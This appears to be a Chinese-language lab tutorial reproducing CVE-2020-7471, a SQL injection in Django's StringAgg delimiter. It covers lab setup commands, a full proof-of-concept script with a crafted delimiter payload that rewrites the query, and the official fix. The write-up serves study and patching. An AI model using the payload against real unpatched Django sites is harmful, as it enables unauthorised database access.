簡介
2020年2月3日,Django 官方發佈安全通告公佈了一個通過StringAgg(分隔符)實現利用的潛在SQL注入漏洞(CVE-2020-7471)。攻擊者可通過構造分隔符傳遞給聚合函數contrib.postgres.aggregates.StringAgg,從而繞過轉義符號(\)並注入惡意SQL語句。
漏洞影響
受影響版本:
- Django 1.11.x < 1.11.28
- Django 2.2.x < 2.2.10
- Django 3.0.x < 3.0.3
不受影響產品版本:
- Django 1.11.28
- Django 2.2.10
- Django 3.0.3
前期準備
一臺kali linux(2020-1,下方實驗會涉及postgresql的密碼修改,若修改密碼請進入自己的版本對應的目錄進行修改)
注:若兩臺linux進行操作,需保證兩機可以相互ping通,同時可以訪問網站
開始實驗
gohb@gohb:~$ sudo apt-get install python3-pip
gohb@gohb:~$ pip3 install django==3.0.2 -i https://pypi.mirrors.ustc.edu.cn/simple/
#因爲kali-2020.1自帶postgresql
#小編在此就不演示postgresql的安裝了
#小編在此演示下忘記密碼的操作
gohb@gohb:~$ sudo vim /etc/postgresql/12/main/pg_hba.conf
#做如下修改
gohb@gohb:~$ sudo service postgresql restart
gohb@gohb:~$ psql -U postgres -h 127.0.0.1
#此時是免密進入,進行密碼修改
gohb@gohb:~$ sudo vim /etc/postgresql/12/main/pg_hba.conf
#更改配置文件,關閉免密登陸
gohb@gohb:~$ sudo service postgresql restart
#重啓postgresql
gohb@gohb:~$ psql -U postgres -h 127.0.0.1
#創建數據庫test
gohb@gohb:~$ git clone https://github.com/Saferman/CVE-2020-7471.git
gohb@gohb:~$ cd CVE-2020-7471/
gohb@gohb:~/CVE-2020-7471$ cd sqlvul_project/
gohb@gohb:~/CVE-2020-7471/sqlvul_project$ vi settings.py
#修改setting中數據庫的相關配置
gohb@gohb:~/CVE-2020-7471/sqlvul_project$ cd ..
gohb@gohb:~/CVE-2020-7471$ python3 manage.py migrate
gohb@gohb:~/CVE-2020-7471$ python3 manage.py makemigrations vul_app
gohb@gohb:~/CVE-2020-7471$ python3 manage.py migrate vul_app
#將表結構遷移到數據庫中
gohb@gohb:~/CVE-2020-7471$ psql -U postgres -h 127.0.0.1
#登陸數據庫
查看錶vul_app_info中原不存在數據
gohb@gohb:~/CVE-2020-7471$ python3 CVE-2020-7471.py
#運行poc
成功注入
POC解讀
# encoding:utf-8
import os
import django
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings")
# Django 版本大於等於1.7的時候,需要加上下面兩句
if django.VERSION >= (1, 7):#自動判斷版本
django.setup()
from vul_app.models import Info
from django.contrib.postgres.aggregates import StringAgg
from django.db.models import Count
"""
postgres 預先執行的SQL
CREATE DATABASE test;
\c test;
\d 列出當前數據庫的所有表格
"""
def initdb():
data = [('li','male'),('zhao','male'),('zhang','female')]
for name,gender in data:
Info.objects.get_or_create(name=name,gender=gender)
def query():
# FUZZ delimiter
error_c = []
other_error_c = []
for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
try:
for e in results:
pass
except IndexError:
error_c.append(c)
except:
other_error_c.append(c)
print(error_c)
print(other_error_c)
def query_with_evil():
'''
注入點證明
分別設置delimiter爲 單引號 二個單引號 二個雙引號
嘗試註釋後面的內容 ')--
:return:
'''
print("[+]正常的輸出:")
payload = '-'
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e)
print("[+]注入後的的輸出:")
payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e)
if __name__ == '__main__':
print(django.VERSION) # 測試版本 3.0.2
initdb()
query()
query_with_evil()
payload通過調用StringAgg,但是整個POC的核心還是因爲參數delimiter出現的轉義問題。
修復方案
官方對 delimiter 使用Value(str(delimiter))處理來防禦 django
查看Value函數源碼,註釋寫的非常清楚,Vlue處理過的參數會被加到sql的參數列表裏,之後會被 django 內置的過濾機制過濾,從而防範 SQL 漏洞。